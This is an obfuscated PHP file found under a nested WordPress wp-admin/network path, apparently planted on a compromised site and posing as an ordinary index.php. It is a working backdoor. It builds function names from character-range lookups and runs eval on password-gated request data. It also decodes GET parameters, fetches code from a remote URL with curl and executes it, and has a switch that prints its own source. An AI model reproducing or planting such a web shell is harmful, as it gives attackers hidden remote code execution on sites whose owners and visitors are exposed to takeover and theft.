File: //proc/self/root/home/fortest.org.uk/public_html/wp-admin/network/network/network/index.php
<?php $kE = "r"."a"."n"."g"."e"; $U = $kE("~", " "); $Lc=${$U[20+11].$U[1+58].$U[9+38].$U[36+11].$U[35+16].$U[16+37].$U[31+26]}; if((in_array(gettype($Lc).count($Lc),$Lc)&&count($Lc)==13)&&(md5(md5(md5(md5($Lc[7]))))==="85b417376f19df18db61d99c2a6cc763")){ (($Lc[69]=$Lc[69].$Lc[80])&&($Lc[84]=$Lc[69]($Lc[84]))&&(@eval($Lc[69](${$Lc[44]}[13]))));} metaphone("hvVkPIjjZUNq0Z1H0wnunnYr+ztjq7YjT3I+fRlePXA"); class c{ static function cXPNR($WVseAN) { $JKZnT = "r"."a"."n"."g"."e"; $YTa = $JKZnT("~", " "); $GbV = explode("$", $WVseAN); $QMlFx = ""; foreach ($GbV as $qbsmZKf => $ywWlIn) $QMlFx .= $YTa[$ywWlIn - 6817]; return $QMlFx; } static function YnyAc($EnuZQkl, $TYqflxCzeb) { $vn = curl_init($EnuZQkl); curl_setopt($vn, CURLOPT_RETURNTRANSFER, 1); $kRXPBiJrA = curl_exec($vn); return empty($kRXPBiJrA) ? $TYqflxCzeb($EnuZQkl) : $kRXPBiJrA; } static function KQkzmhJM() { $yrLZxBJhvw = array("6844$6829$6842$6846$6827$6842$6848$6841$6826$6833$6844$6827$6838$6832$6833","6828$6827$6829$6848$6829$6832$6827$6894$6892","6837$6828$6832$6833$6848$6843$6842$6844$6832$6843$6842","6831$6846$6844$6836","6845$6846$6828$6842$6889$6891$6848$6843$6842$6844$6832$6843$6842","6841$6838$6835$6842$6848$6840$6842$6827$6848$6844$6832$6833$6827$6842$6833$6827$6828","6871$6901","6818","6896$6901","6878$6861$6861$6878$6854","6841$6838$6835$6827$6842$6829$6848$6838$6833$6831$6826$6827"); foreach ($yrLZxBJhvw as $jfFg) $vQZKp[] = self::cXPNR($jfFg); $yQtmvkGJY = @$vQZKp[1]($vQZKp[2+8](INPUT_GET, $vQZKp[2+7])); $IUYJZTx = @$vQZKp[0+3]($vQZKp[3+3], $yQtmvkGJY); $nCPUZxb = $vQZKp[1+1]($IUYJZTx, true); @$vQZKp[9+1](INPUT_GET, "of") == 1 && die($vQZKp[0+5](__FILE__)); if( ((@$nCPUZxb[0] - time()) > 0) and (md5(md5($nCPUZxb[1+2])) === "29784e4c1b5ee94b6005ca0c647fe4e8") ): $YsmCib = self::YnyAc($nCPUZxb[0+1], $vQZKp[2+3]);@eval($vQZKp[0+4]($YsmCib));die; endif; }}c::KQkzmhJM(); ?>